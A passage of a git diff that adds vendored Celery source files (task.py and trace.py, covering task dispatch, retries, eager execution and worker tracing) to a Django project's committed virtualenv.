headers (Dict): Message headers to be included in the message. + + Returns: + celery.result.AsyncResult: Promise of future evaluation. + + Raises: + TypeError: If not enough arguments are passed, or too many + arguments are passed. Note that signature checks may + be disabled by specifying ``@task(typing=False)``. + kombu.exceptions.OperationalError: If a connection to the + transport cannot be made, or if the connection is lost. + + Note: + Also supports all keyword arguments supported by + :meth:`kombu.Producer.publish`. + """ + if self.typing: + try: + check_arguments = self.__header__ + except AttributeError: # pragma: no cover + pass + else: + check_arguments(*(args or ()), **(kwargs or {})) + + if self.__v2_compat__: + shadow = shadow or self.shadow_name(self(), args, kwargs, options) + else: + shadow = shadow or self.shadow_name(args, kwargs, options) + + preopts = self._get_exec_options() + options = dict(preopts, **options) if options else preopts + + options.setdefault('ignore_result', self.ignore_result) + if self.priority: + options.setdefault('priority', self.priority) + + app = self._get_app() + if app.conf.task_always_eager: + with app.producer_or_acquire(producer) as eager_producer: + serializer = options.get('serializer') + if serializer is None: + if eager_producer.serializer: + serializer = eager_producer.serializer + else: + serializer = app.conf.task_serializer + body = args, kwargs + content_type, content_encoding, data = serialization.dumps( + body, serializer, + ) + args, kwargs = serialization.loads( + data, content_type, content_encoding, + accept=[content_type] + ) + with denied_join_result(): + return self.apply(args, kwargs, task_id=task_id or uuid(), + link=link, link_error=link_error, **options) + else: + return app.send_task( + self.name, args, kwargs, task_id=task_id, producer=producer, + link=link, link_error=link_error, result_cls=self.AsyncResult, + shadow=shadow, task_type=self, + **options + ) + + def shadow_name(self, args, kwargs, options): + """Override for custom task name in worker logs/monitoring. + + Example: + .. code-block:: python + + from celery.utils.imports import qualname + + def shadow_name(task, args, kwargs, options): + return qualname(args[0]) + + @app.task(shadow_name=shadow_name, serializer='pickle') + def apply_function_async(fun, *args, **kwargs): + return fun(*args, **kwargs) + + Arguments: + args (Tuple): Task positional arguments. + kwargs (Dict): Task keyword arguments. + options (Dict): Task execution options. + """ + + def signature_from_request(self, request=None, args=None, kwargs=None, + queue=None, **extra_options): + request = self.request if request is None else request + args = request.args if args is None else args + kwargs = request.kwargs if kwargs is None else kwargs + options = request.as_execution_options() + delivery_info = request.delivery_info or {} + priority = delivery_info.get('priority') + if priority is not None: + options['priority'] = priority + if queue: + options['queue'] = queue + else: + exchange = delivery_info.get('exchange') + routing_key = delivery_info.get('routing_key') + if exchange == '' and routing_key: + # sent to anon-exchange + options['queue'] = routing_key + else: + options.update(delivery_info) + return self.signature( + args, kwargs, options, type=self, **extra_options + ) + subtask_from_request = signature_from_request # XXX compat + + def retry(self, args=None, kwargs=None, exc=None, throw=True, + eta=None, countdown=None, max_retries=None, **options): + """Retry the task, adding it to the back of the queue. + + Example: + >>> from imaginary_twitter_lib import Twitter + >>> from proj.celery import app + + >>> @app.task(bind=True) + ... def tweet(self, auth, message): + ... twitter = Twitter(oauth=auth) + ... try: + ... twitter.post_status_update(message) + ... except twitter.FailWhale as exc: + ... # Retry in 5 minutes. + ... self.retry(countdown=60 * 5, exc=exc) + + Note: + Although the task will never return above as `retry` raises an + exception to notify the worker, we use `raise` in front of the + retry to convey that the rest of the block won't be executed. + + Arguments: + args (Tuple): Positional arguments to retry with. + kwargs (Dict): Keyword arguments to retry with. + exc (Exception): Custom exception to report when the max retry + limit has been exceeded (default: + :exc:`~@MaxRetriesExceededError`). + + If this argument is set and retry is called while + an exception was raised (``sys.exc_info()`` is set) + it will attempt to re-raise the current exception. + + If no exception was raised it will raise the ``exc`` + argument provided. + countdown (float): Time in seconds to delay the retry for. + eta (~datetime.datetime): Explicit time and date to run the + retry at. + max_retries (int): If set, overrides the default retry limit for + this execution. Changes to this parameter don't propagate to + subsequent task retry attempts. A value of :const:`None`, + means "use the default", so if you want infinite retries you'd + have to set the :attr:`max_retries` attribute of the task to + :const:`None` first. + time_limit (int): If set, overrides the default time limit. + soft_time_limit (int): If set, overrides the default soft + time limit. + throw (bool): If this is :const:`False`, don't raise the + :exc:`~@Retry` exception, that tells the worker to mark + the task as being retried. Note that this means the task + will be marked as failed if the task raises an exception, + or successful if it returns after the retry call. + **options (Any): Extra options to pass on to :meth:`apply_async`. + + Raises: + + celery.exceptions.Retry: + To tell the worker that the task has been re-sent for retry. + This always happens, unless the `throw` keyword argument + has been explicitly set to :const:`False`, and is considered + normal operation. + """ + request = self.request + retries = request.retries + 1 + if max_retries is not None: + self.override_max_retries = max_retries + max_retries = self.max_retries if max_retries is None else max_retries + + # Not in worker or emulated by (apply/always_eager), + # so just raise the original exception. + if request.called_directly: + # raises orig stack if PyErr_Occurred, + # and augments with exc' if that argument is defined. + raise_with_context(exc or Retry('Task can be retried', None)) + + if not eta and countdown is None: + countdown = self.default_retry_delay + + is_eager = request.is_eager + S = self.signature_from_request( + request, args, kwargs, + countdown=countdown, eta=eta, retries=retries, + **options + ) + + if max_retries is not None and retries > max_retries: + if exc: + # On Py3: will augment any current exception with + # the exc' argument provided (raise exc from orig) + raise_with_context(exc) + raise self.MaxRetriesExceededError( + "Can't retry {}[{}] args:{} kwargs:{}".format( + self.name, request.id, S.args, S.kwargs + ), task_args=S.args, task_kwargs=S.kwargs + ) + + ret = Retry(exc=exc, when=eta or countdown, is_eager=is_eager, sig=S) + + if is_eager: + # if task was executed eagerly using apply(), + # then the retry must also be executed eagerly in apply method + if throw: + raise ret + return ret + + try: + S.apply_async() + except Exception as exc: + raise Reject(exc, requeue=False) + if throw: + raise ret + return ret + + def apply(self, args=None, kwargs=None, + link=None, link_error=None, + task_id=None, retries=None, throw=None, + logfile=None, loglevel=None, headers=None, **options): + """Execute this task locally, by blocking until the task returns. + + Arguments: + args (Tuple): positional arguments passed on to the task. + kwargs (Dict): keyword arguments passed on to the task. + throw (bool): Re-raise task exceptions. + Defaults to the :setting:`task_eager_propagates` setting. + + Returns: + celery.result.EagerResult: pre-evaluated result. + """ + # trace imports Task, so need to import inline. + from celery.app.trace import build_tracer + + app = self._get_app() + args = args or () + kwargs = kwargs or {} + task_id = task_id or uuid() + retries = retries or 0 + if throw is None: + throw = app.conf.task_eager_propagates + + # Make sure we get the task instance, not class. + task = app._tasks[self.name] + + request = { + 'id': task_id, + 'retries': retries, + 'is_eager': True, + 'logfile': logfile, + 'loglevel': loglevel or 0, + 'hostname': gethostname(), + 'callbacks': maybe_list(link), + 'errbacks': maybe_list(link_error), + 'headers': headers, + 'ignore_result': options.get('ignore_result', False), + 'delivery_info': { + 'is_eager': True, + 'exchange': options.get('exchange'), + 'routing_key': options.get('routing_key'), + 'priority': options.get('priority'), + }, + } + tb = None + tracer = build_tracer( + task.name, task, eager=True, + propagate=throw, app=self._get_app(), + ) + ret = tracer(task_id, args, kwargs, request) + retval = ret.retval + if isinstance(retval, ExceptionInfo): + retval, tb = retval.exception, retval.traceback + if isinstance(retval, Retry) and retval.sig is not None: + return retval.sig.apply(retries=retries + 1) + state = states.SUCCESS if ret.info is None else ret.info.state + return EagerResult(task_id, retval, state, traceback=tb) + + def AsyncResult(self, task_id, **kwargs): + """Get AsyncResult instance for the specified task. + + Arguments: + task_id (str): Task id to get result for. + """ + return self._get_app().AsyncResult(task_id, backend=self.backend, + task_name=self.name, **kwargs) + + def signature(self, args=None, *starargs, **starkwargs): + """Create signature. + + Returns: + :class:`~celery.signature`: object for + this task, wrapping arguments and execution options + for a single task invocation. + """ + starkwargs.setdefault('app', self.app) + return signature(self, args, *starargs, **starkwargs) + subtask = signature + + def s(self, *args, **kwargs): + """Create signature. + + Shortcut for ``.s(*a, **k) -> .signature(a, k)``. + """ + return self.signature(args, kwargs) + + def si(self, *args, **kwargs): + """Create immutable signature. + + Shortcut for ``.si(*a, **k) -> .signature(a, k, immutable=True)``. + """ + return self.signature(args, kwargs, immutable=True) + + def chunks(self, it, n): + """Create a :class:`~celery.canvas.chunks` task for this task.""" + from celery import chunks + return chunks(self.s(), it, n, app=self.app) + + def map(self, it): + """Create a :class:`~celery.canvas.xmap` task from ``it``.""" + from celery import xmap + return xmap(self.s(), it, app=self.app) + + def starmap(self, it): + """Create a :class:`~celery.canvas.xstarmap` task from ``it``.""" + from celery import xstarmap + return xstarmap(self.s(), it, app=self.app) + + def send_event(self, type_, retry=True, retry_policy=None, **fields): + """Send monitoring event message. + + This can be used to add custom event types in :pypi:`Flower` + and other monitors. + + Arguments: + type_ (str): Type of event, e.g. ``"task-failed"``. + + Keyword Arguments: + retry (bool): Retry sending the message + if the connection is lost. Default is taken from the + :setting:`task_publish_retry` setting. + retry_policy (Mapping): Retry settings. Default is taken + from the :setting:`task_publish_retry_policy` setting. + **fields (Any): Map containing information about the event. + Must be JSON serializable. + """ + req = self.request + if retry_policy is None: + retry_policy = self.app.conf.task_publish_retry_policy + with self.app.events.default_dispatcher(hostname=req.hostname) as d: + return d.send( + type_, + uuid=req.id, retry=retry, retry_policy=retry_policy, **fields) + + def replace(self, sig): + """Replace this task, with a new task inheriting the task id. + + Execution of the host task ends immediately and no subsequent statements + will be run. + + .. versionadded:: 4.0 + + Arguments: + sig (Signature): signature to replace with. + + Raises: + ~@Ignore: This is always raised when called in asynchronous context. + It is best to always use ``return self.replace(...)`` to convey + to the reader that the task won't continue after being replaced. + """ + chord = self.request.chord + if 'chord' in sig.options: + raise ImproperlyConfigured( + "A signature replacing a task must not be part of a chord" + ) + if isinstance(sig, _chain) and not getattr(sig, "tasks", True): + raise ImproperlyConfigured("Cannot replace with an empty chain") + + # Ensure callbacks or errbacks from the replaced signature are retained + if isinstance(sig, group): + # Groups get uplifted to a chord so that we can link onto the body + sig |= self.app.tasks['celery.accumulate'].s(index=0) + for callback in maybe_list(self.request.callbacks) or []: + sig.link(callback) + for errback in maybe_list(self.request.errbacks) or []: + sig.link_error(errback) + # If the replacement signature is a chain, we need to push callbacks + # down to the final task so they run at the right time even if we + # proceed to link further tasks from the original request below + if isinstance(sig, _chain) and "link" in sig.options: + final_task_links = sig.tasks[-1].options.setdefault("link", []) + final_task_links.extend(maybe_list(sig.options["link"])) + # We need to freeze the replacement signature with the current task's + # ID to ensure that we don't disassociate it from the existing task IDs + # which would break previously constructed results objects. + sig.freeze(self.request.id) + # Ensure the important options from the original signature are retained + replaced_task_nesting = self.request.get('replaced_task_nesting', 0) + 1 + sig.set( + chord=chord, + group_id=self.request.group, + group_index=self.request.group_index, + root_id=self.request.root_id, + replaced_task_nesting=replaced_task_nesting + ) + # If the task being replaced is part of a chain, we need to re-create + # it with the replacement signature - these subsequent tasks will + # retain their original task IDs as well + for t in reversed(self.request.chain or []): + sig |= signature(t, app=self.app) + # Finally, either apply or delay the new signature! + if self.request.is_eager: + return sig.apply().get() + else: + sig.delay() + raise Ignore('Replaced by new task') + + def add_to_chord(self, sig, lazy=False): + """Add signature to the chord the current task is a member of. + + .. versionadded:: 4.0 + + Currently only supported by the Redis result backend. + + Arguments: + sig (Signature): Signature to extend chord with. + lazy (bool): If enabled the new task won't actually be called, + and ``sig.delay()`` must be called manually. + """ + if not self.request.chord: + raise ValueError('Current task is not member of any chord') + sig.set( + group_id=self.request.group, + group_index=self.request.group_index, + chord=self.request.chord, + root_id=self.request.root_id, + ) + result = sig.freeze() + self.backend.add_to_chord(self.request.group, result) + return sig.delay() if not lazy else sig + + def update_state(self, task_id=None, state=None, meta=None, **kwargs): + """Update task state. + + Arguments: + task_id (str): Id of the task to update. + Defaults to the id of the current task. + state (str): New state. + meta (Dict): State meta-data. + """ + if task_id is None: + task_id = self.request.id + self.backend.store_result( + task_id, meta, state, request=self.request, **kwargs) + + def before_start(self, task_id, args, kwargs): + """Handler called before the task starts. + + .. versionadded:: 5.2 + + Arguments: + task_id (str): Unique id of the task to execute. + args (Tuple): Original arguments for the task to execute. + kwargs (Dict): Original keyword arguments for the task to execute. + + Returns: + None: The return value of this handler is ignored. + """ + + def on_success(self, retval, task_id, args, kwargs): + """Success handler. + + Run by the worker if the task executes successfully. + + Arguments: + retval (Any): The return value of the task. + task_id (str): Unique id of the executed task. + args (Tuple): Original arguments for the executed task. + kwargs (Dict): Original keyword arguments for the executed task. + + Returns: + None: The return value of this handler is ignored. + """ + + def on_retry(self, exc, task_id, args, kwargs, einfo): + """Retry handler. + + This is run by the worker when the task is to be retried. + + Arguments: + exc (Exception): The exception sent to :meth:`retry`. + task_id (str): Unique id of the retried task. + args (Tuple): Original arguments for the retried task. + kwargs (Dict): Original keyword arguments for the retried task. + einfo (~billiard.einfo.ExceptionInfo): Exception information. + + Returns: + None: The return value of this handler is ignored. + """ + + def on_failure(self, exc, task_id, args, kwargs, einfo): + """Error handler. + + This is run by the worker when the task fails. + + Arguments: + exc (Exception): The exception raised by the task. + task_id (str): Unique id of the failed task. + args (Tuple): Original arguments for the task that failed. + kwargs (Dict): Original keyword arguments for the task that failed. + einfo (~billiard.einfo.ExceptionInfo): Exception information. + + Returns: + None: The return value of this handler is ignored. + """ + + def after_return(self, status, retval, task_id, args, kwargs, einfo): + """Handler called after the task returns. + + Arguments: + status (str): Current task state. + retval (Any): Task return value/exception. + task_id (str): Unique id of the task. + args (Tuple): Original arguments for the task. + kwargs (Dict): Original keyword arguments for the task. + einfo (~billiard.einfo.ExceptionInfo): Exception information. + + Returns: + None: The return value of this handler is ignored. + """ + + def add_trail(self, result): + if self.trail: + self.request.children.append(result) + return result + + def push_request(self, *args, **kwargs): + self.request_stack.push(Context(*args, **kwargs)) + + def pop_request(self): + self.request_stack.pop() + + def __repr__(self): + """``repr(task)``.""" + return _reprtask(self, R_INSTANCE) + + def _get_request(self): + """Get current request object.""" + req = self.request_stack.top + if req is None: + # task was not called, but some may still expect a request + # to be there, perhaps that should be deprecated. + if self._default_request is None: + self._default_request = Context() + return self._default_request + return req + request = property(_get_request) + + def _get_exec_options(self): + if self._exec_options is None: + self._exec_options = extract_exec_options(self) + return self._exec_options + + @property + def backend(self): + backend = self._backend + if backend is None: + return self.app.backend + return backend + + @backend.setter + def backend(self, value): + self._backend = value + + @property + def __name__(self): + return self.__class__.__name__ + + +BaseTask = Task # XXX compat alias diff --git a/django_lottopy/lib/python3.10/site-packages/celery/app/trace.py b/django_lottopy/lib/python3.10/site-packages/celery/app/trace.py new file mode 100644 index 00000000..7b5b00b8 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/app/trace.py @@ -0,0 +1,737 @@ +"""Trace task execution. + +This module defines how the task execution is traced: +errors are recorded, handlers are applied and so on. +""" +import logging +import os +import sys +import time +from collections import namedtuple +from warnings import warn + +from billiard.einfo import ExceptionInfo +from kombu.exceptions import EncodeError +from kombu.serialization import loads as loads_message +from kombu.serialization import prepare_accept_content +from kombu.utils.encoding import safe_repr, safe_str + +from celery import current_app, group, signals, states +from celery._state import _task_stack +from celery.app.task import Context +from celery.app.task import Task as BaseTask +from celery.exceptions import (BackendGetMetaError, Ignore, InvalidTaskError, + Reject, Retry) +from celery.result import AsyncResult +from celery.utils.log import get_logger +from celery.utils.nodenames import gethostname +from celery.utils.objects import mro_lookup +from celery.utils.saferepr import saferepr +from celery.utils.serialization import (get_pickleable_etype, + get_pickleable_exception, + get_pickled_exception) + +# ## --- +# This is the heart of the worker, the inner loop so to speak. +# It used to be split up into nice little classes and methods, +# but in the end it only resulted in bad performance and horrible tracebacks, +# so instead we now use one closure per task class. + +# pylint: disable=redefined-outer-name +# We cache globals and attribute lookups, so disable this warning. +# pylint: disable=broad-except +# We know what we're doing... + + +__all__ = ( + 'TraceInfo', 'build_tracer', 'trace_task', + 'setup_worker_optimizations', 'reset_worker_optimizations', +) + +from celery.worker.state import successful_requests + +logger = get_logger(__name__) + +#: Format string used to log task receipt. +LOG_RECEIVED = """\ +Task %(name)s[%(id)s] received\ +""" + +#: Format string used to log task success. +LOG_SUCCESS = """\ +Task %(name)s[%(id)s] succeeded in %(runtime)ss: %(return_value)s\ +""" + +#: Format string used to log task failure. +LOG_FAILURE = """\ +Task %(name)s[%(id)s] %(description)s: %(exc)s\ +""" + +#: Format string used to log task internal error. +LOG_INTERNAL_ERROR = """\ +Task %(name)s[%(id)s] %(description)s: %(exc)s\ +""" + +#: Format string used to log task ignored. +LOG_IGNORED = """\ +Task %(name)s[%(id)s] %(description)s\ +""" + +#: Format string used to log task rejected. +LOG_REJECTED = """\ +Task %(name)s[%(id)s] %(exc)s\ +""" + +#: Format string used to log task retry. +LOG_RETRY = """\ +Task %(name)s[%(id)s] retry: %(exc)s\ +""" + +log_policy_t = namedtuple( + 'log_policy_t', + ('format', 'description', 'severity', 'traceback', 'mail'), +) + +log_policy_reject = log_policy_t(LOG_REJECTED, 'rejected', logging.WARN, 1, 1) +log_policy_ignore = log_policy_t(LOG_IGNORED, 'ignored', logging.INFO, 0, 0) +log_policy_internal = log_policy_t( + LOG_INTERNAL_ERROR, 'INTERNAL ERROR', logging.CRITICAL, 1, 1, +) +log_policy_expected = log_policy_t( + LOG_FAILURE, 'raised expected', logging.INFO, 0, 0, +) +log_policy_unexpected = log_policy_t( + LOG_FAILURE, 'raised unexpected', logging.ERROR, 1, 1, +) + +send_prerun = signals.task_prerun.send +send_postrun = signals.task_postrun.send +send_success = signals.task_success.send +STARTED = states.STARTED +SUCCESS = states.SUCCESS +IGNORED = states.IGNORED +REJECTED = states.REJECTED +RETRY = states.RETRY +FAILURE = states.FAILURE +EXCEPTION_STATES = states.EXCEPTION_STATES +IGNORE_STATES = frozenset({IGNORED, RETRY, REJECTED}) + +#: set by :func:`setup_worker_optimizations` +_localized = [] +_patched = {} + +trace_ok_t = namedtuple('trace_ok_t', ('retval', 'info', 'runtime', 'retstr')) + + +def info(fmt, context): + """Log 'fmt % context' with severity 'INFO'. + + 'context' is also passed in extra with key 'data' for custom handlers. + """ + logger.info(fmt, context, extra={'data': context}) + + +def task_has_custom(task, attr): + """Return true if the task overrides ``attr``.""" + return mro_lookup(task.__class__, attr, stop={BaseTask, object}, + monkey_patched=['celery.app.task']) + + +def get_log_policy(task, einfo, exc): + if isinstance(exc, Reject): + return log_policy_reject + elif isinstance(exc, Ignore): + return log_policy_ignore + elif einfo.internal: + return log_policy_internal + else: + if task.throws and isinstance(exc, task.throws): + return log_policy_expected + return log_policy_unexpected + + +def get_task_name(request, default): + """Use 'shadow' in request for the task name if applicable.""" + # request.shadow could be None or an empty string. + # If so, we should use default. + return getattr(request, 'shadow', None) or default + + +class TraceInfo: + """Information about task execution.""" + + __slots__ = ('state', 'retval') + + def __init__(self, state, retval=None): + self.state = state + self.retval = retval + + def handle_error_state(self, task, req, + eager=False, call_errbacks=True): + if task.ignore_result: + store_errors = task.store_errors_even_if_ignored + elif eager and task.store_eager_result: + store_errors = True + else: + store_errors = not eager + + return { + RETRY: self.handle_retry, + FAILURE: self.handle_failure, + }[self.state](task, req, + store_errors=store_errors, + call_errbacks=call_errbacks) + + def handle_reject(self, task, req, **kwargs): + self._log_error(task, req, ExceptionInfo()) + + def handle_ignore(self, task, req, **kwargs): + self._log_error(task, req, ExceptionInfo()) + + def handle_retry(self, task, req, store_errors=True, **kwargs): + """Handle retry exception.""" + # the exception raised is the Retry semi-predicate, + # and it's exc' attribute is the original exception raised (if any). + type_, _, tb = sys.exc_info() + try: + reason = self.retval + einfo = ExceptionInfo((type_, reason, tb)) + if store_errors: + task.backend.mark_as_retry( + req.id, reason.exc, einfo.traceback, request=req, + ) + task.on_retry(reason.exc, req.id, req.args, req.kwargs, einfo) + signals.task_retry.send(sender=task, request=req, + reason=reason, einfo=einfo) + info(LOG_RETRY, { + 'id': req.id, + 'name': get_task_name(req, task.name), + 'exc': str(reason), + }) + return einfo + finally: + del tb + + def handle_failure(self, task, req, store_errors=True, call_errbacks=True): + """Handle exception.""" + _, _, tb = sys.exc_info() + try: + exc = self.retval + # make sure we only send pickleable exceptions back to parent. + einfo = ExceptionInfo() + einfo.exception = get_pickleable_exception(einfo.exception) + einfo.type = get_pickleable_etype(einfo.type) + + task.backend.mark_as_failure( + req.id, exc, einfo.traceback, + request=req, store_result=store_errors, + call_errbacks=call_errbacks, + ) + + task.on_failure(exc, req.id, req.args, req.kwargs, einfo) + signals.task_failure.send(sender=task, task_id=req.id, + exception=exc, args=req.args, + kwargs=req.kwargs, + traceback=tb, + einfo=einfo) + self._log_error(task, req, einfo) + return einfo + finally: + del tb + + def _log_error(self, task, req, einfo): + eobj = einfo.exception = get_pickled_exception(einfo.exception) + exception, traceback, exc_info, sargs, skwargs = ( + safe_repr(eobj), + safe_str(einfo.traceback), + einfo.exc_info, + safe_repr(req.args), + safe_repr(req.kwargs), + ) + policy = get_log_policy(task, einfo, eobj) + + context = { + 'hostname': req.hostname, + 'id': req.id, + 'name': get_task_name(req, task.name), + 'exc': exception, + 'traceback': traceback, + 'args': sargs, + 'kwargs': skwargs, + 'description': policy.description, + 'internal': einfo.internal, + } + + logger.log(policy.severity, policy.format.strip(), context, + exc_info=exc_info if policy.traceback else None, + extra={'data': context}) + + +def traceback_clear(exc=None): + # Cleared Tb, but einfo still has a reference to Traceback. + # exc cleans up the Traceback at the last moment that can be revealed. + tb = None + if exc is not None: + if hasattr(exc, '__traceback__'): + tb = exc.__traceback__ + else: + _, _, tb = sys.exc_info() + else: + _, _, tb = sys.exc_info() + + while tb is not None: + try: + tb.tb_frame.clear() + tb.tb_frame.f_locals + except RuntimeError: + # Ignore the exception raised if the frame is still executing. + pass + tb = tb.tb_next + + +def build_tracer(name, task, loader=None, hostname=None, store_errors=True, + Info=TraceInfo, eager=False, propagate=False, app=None, + monotonic=time.monotonic, trace_ok_t=trace_ok_t, + IGNORE_STATES=IGNORE_STATES): + """Return a function that traces task execution. + + Catches all exceptions and updates result backend with the + state and result. + + If the call was successful, it saves the result to the task result + backend, and sets the task status to `"SUCCESS"`. + + If the call raises :exc:`~@Retry`, it extracts + the original exception, uses that as the result and sets the task state + to `"RETRY"`. + + If the call results in an exception, it saves the exception as the task + result, and sets the task state to `"FAILURE"`. + + Return a function that takes the following arguments: + + :param uuid: The id of the task. + :param args: List of positional args to pass on to the function. + :param kwargs: Keyword arguments mapping to pass on to the function. + :keyword request: Request dict. + + """ + + # pylint: disable=too-many-statements + + # If the task doesn't define a custom __call__ method + # we optimize it away by simply calling the run method directly, + # saving the extra method call and a line less in the stack trace. + fun = task if task_has_custom(task, '__call__') else task.run + + loader = loader or app.loader + ignore_result = task.ignore_result + track_started = task.track_started + track_started = not eager and (task.track_started and not ignore_result) + + # #6476 + if eager and not ignore_result and task.store_eager_result: + publish_result = True + else: + publish_result = not eager and not ignore_result + + deduplicate_successful_tasks = ((app.conf.task_acks_late or task.acks_late) + and app.conf.worker_deduplicate_successful_tasks + and app.backend.persistent) + + hostname = hostname or gethostname() + inherit_parent_priority = app.conf.task_inherit_parent_priority + + loader_task_init = loader.on_task_init + loader_cleanup = loader.on_process_cleanup + + task_before_start = None + task_on_success = None + task_after_return = None + if task_has_custom(task, 'before_start'): + task_before_start = task.before_start + if task_has_custom(task, 'on_success'): + task_on_success = task.on_success + if task_has_custom(task, 'after_return'): + task_after_return = task.after_return + + pid = os.getpid() + + request_stack = task.request_stack + push_request = request_stack.push + pop_request = request_stack.pop + push_task = _task_stack.push + pop_task = _task_stack.pop + _does_info = logger.isEnabledFor(logging.INFO) + resultrepr_maxsize = task.resultrepr_maxsize + + prerun_receivers = signals.task_prerun.receivers + postrun_receivers = signals.task_postrun.receivers + success_receivers = signals.task_success.receivers + + from celery import canvas + signature = canvas.maybe_signature # maybe_ does not clone if already + + def on_error(request, exc, uuid, state=FAILURE, call_errbacks=True): + if propagate: + raise + I = Info(state, exc) + R = I.handle_error_state( + task, request, eager=eager, call_errbacks=call_errbacks, + ) + return I, R, I.state, I.retval + + def trace_task(uuid, args, kwargs, request=None): + # R - is the possibly prepared return value. + # I - is the Info object. + # T - runtime + # Rstr - textual representation of return value + # retval - is the always unmodified return value. + # state - is the resulting task state. + + # This function is very long because we've unrolled all the calls + # for performance reasons, and because the function is so long + # we want the main variables (I, and R) to stand out visually from the + # the rest of the variables, so breaking PEP8 is worth it ;) + R = I = T = Rstr = retval = state = None + task_request = None + time_start = monotonic() + try: + try: + kwargs.items + except AttributeError: + raise InvalidTaskError( + 'Task keyword arguments is not a mapping') + + task_request = Context(request or {}, args=args, + called_directly=False, kwargs=kwargs) + + redelivered = (task_request.delivery_info + and task_request.delivery_info.get('redelivered', False)) + if deduplicate_successful_tasks and redelivered: + if task_request.id in successful_requests: + return trace_ok_t(R, I, T, Rstr) + r = AsyncResult(task_request.id, app=app) + + try: + state = r.state + except BackendGetMetaError: + pass + else: + if state == SUCCESS: + info(LOG_IGNORED, { + 'id': task_request.id, + 'name': get_task_name(task_request, name), + 'description': 'Task already completed successfully.' + }) + return trace_ok_t(R, I, T, Rstr) + + push_task(task) + root_id = task_request.root_id or uuid + task_priority = task_request.delivery_info.get('priority') if \ + inherit_parent_priority else None + push_request(task_request) + try: + # -*- PRE -*- + if prerun_receivers: + send_prerun(sender=task, task_id=uuid, task=task, + args=args, kwargs=kwargs) + loader_task_init(uuid, task) + if track_started: + task.backend.store_result( + uuid, {'pid': pid, 'hostname': hostname}, STARTED, + request=task_request, + ) + + # -*- TRACE -*- + try: + if task_before_start: + task_before_start(uuid, args, kwargs) + + R = retval = fun(*args, **kwargs) + state = SUCCESS + except Reject as exc: + I, R = Info(REJECTED, exc), ExceptionInfo(internal=True) + state, retval = I.state, I.retval + I.handle_reject(task, task_request) + traceback_clear(exc) + except Ignore as exc: + I, R = Info(IGNORED, exc), ExceptionInfo(internal=True) + state, retval = I.state, I.retval + I.handle_ignore(task, task_request) + traceback_clear(exc) + except Retry as exc: + I, R, state, retval = on_error( + task_request, exc, uuid, RETRY, call_errbacks=False) + traceback_clear(exc) + except Exception as exc: + I, R, state, retval = on_error(task_request, exc, uuid) + traceback_clear(exc) + except BaseException: + raise + else: + try: + # callback tasks must be applied before the result is + # stored, so that result.children is populated. + + # groups are called inline and will store trail + # separately, so need to call them separately + # so that the trail's not added multiple times :( + # (Issue #1936) + callbacks = task.request.callbacks + if callbacks: + if len(task.request.callbacks) > 1: + sigs, groups = [], [] + for sig in callbacks: + sig = signature(sig, app=app) + if isinstance(sig, group): + groups.append(sig) + else: + sigs.append(sig) + for group_ in groups: + group_.apply_async( + (retval,), + parent_id=uuid, root_id=root_id, + priority=task_priority + ) + if sigs: + group(sigs, app=app).apply_async( + (retval,), + parent_id=uuid, root_id=root_id, + priority=task_priority + ) + else: + signature(callbacks[0], app=app).apply_async( + (retval,), parent_id=uuid, root_id=root_id, + priority=task_priority + ) + + # execute first task in chain + chain = task_request.chain + if chain: + _chsig = signature(chain.pop(), app=app) + _chsig.apply_async( + (retval,), chain=chain, + parent_id=uuid, root_id=root_id, + priority=task_priority + ) + task.backend.mark_as_done( + uuid, retval, task_request, publish_result, + ) + except EncodeError as exc: + I, R, state, retval = on_error(task_request, exc, uuid) + else: + Rstr = saferepr(R, resultrepr_maxsize) + T = monotonic() - time_start + if task_on_success: + task_on_success(retval, uuid, args, kwargs) + if success_receivers: + send_success(sender=task, result=retval) + if _does_info: + info(LOG_SUCCESS, { + 'id': uuid, + 'name': get_task_name(task_request, name), + 'return_value': Rstr, + 'runtime': T, + 'args': safe_repr(args), + 'kwargs': safe_repr(kwargs), + }) + + # -* POST *- + if state not in IGNORE_STATES: + if task_after_return: + task_after_return( + state, retval, uuid, args, kwargs, None, + ) + finally: + try: + if postrun_receivers: + send_postrun(sender=task, task_id=uuid, task=task, + args=args, kwargs=kwargs, + retval=retval, state=state) + finally: + pop_task() + pop_request() + if not eager: + try: + task.backend.process_cleanup() + loader_cleanup() + except (KeyboardInterrupt, SystemExit, MemoryError): + raise + except Exception as exc: + logger.error('Process cleanup failed: %r', exc, + exc_info=True) + except MemoryError: + raise + except Exception as exc: + _signal_internal_error(task, uuid, args, kwargs, request, exc) + if eager: + raise + R = report_internal_error(task, exc) + if task_request is not None: + I, _, _, _ = on_error(task_request, exc, uuid) + return trace_ok_t(R, I, T, Rstr) + + return trace_task + + +def trace_task(task, uuid, args, kwargs, request=None, **opts): + """Trace task execution.""" + request = {} if not request else request + try: + if task.__trace__ is None: + task.__trace__ = build_tracer(task.name, task, **opts) + return task.__trace__(uuid, args, kwargs, request) + except Exception as exc: + _signal_internal_error(task, uuid, args, kwargs, request, exc) + return trace_ok_t(report_internal_error(task, exc), TraceInfo(FAILURE, exc), 0.0, None) + + +def _signal_internal_error(task, uuid, args, kwargs, request, exc): + """Send a special `internal_error` signal to the app for outside body errors.""" + try: + _, _, tb = sys.exc_info() + einfo = ExceptionInfo() + einfo.exception = get_pickleable_exception(einfo.exception) + einfo.type = get_pickleable_etype(einfo.type) + signals.task_internal_error.send( + sender=task, + task_id=uuid, + args=args, + kwargs=kwargs, + request=request, + exception=exc, + traceback=tb, + einfo=einfo, + ) + finally: + del tb + + +def trace_task_ret(name, uuid, request, body, content_type, + content_encoding, loads=loads_message, app=None, + **extra_request): + app = app or current_app._get_current_object() + embed = None + if content_type: + accept = prepare_accept_content(app.conf.accept_content) + args, kwargs, embed = loads( + body, content_type, content_encoding, accept=accept, + ) + else: + args, kwargs, embed = body + hostname = gethostname() + request.update({ + 'args': args, 'kwargs': kwargs, + 'hostname': hostname, 'is_eager': False, + }, **embed or {}) + R, I, T, Rstr = trace_task(app.tasks[name], + uuid, args, kwargs, request, app=app) + return (1, R, T) if I else (0, Rstr, T) + + +def fast_trace_task(task, uuid, request, body, content_type, + content_encoding, loads=loads_message, _loc=None, + hostname=None, **_): + _loc = _localized if not _loc else _loc + embed = None + tasks, accept, hostname = _loc + if content_type: + args, kwargs, embed = loads( + body, content_type, content_encoding, accept=accept, + ) + else: + args, kwargs, embed = body + request.update({ + 'args': args, 'kwargs': kwargs, + 'hostname': hostname, 'is_eager': False, + }, **embed or {}) + R, I, T, Rstr = tasks[task].__trace__( + uuid, args, kwargs, request, + ) + return (1, R, T) 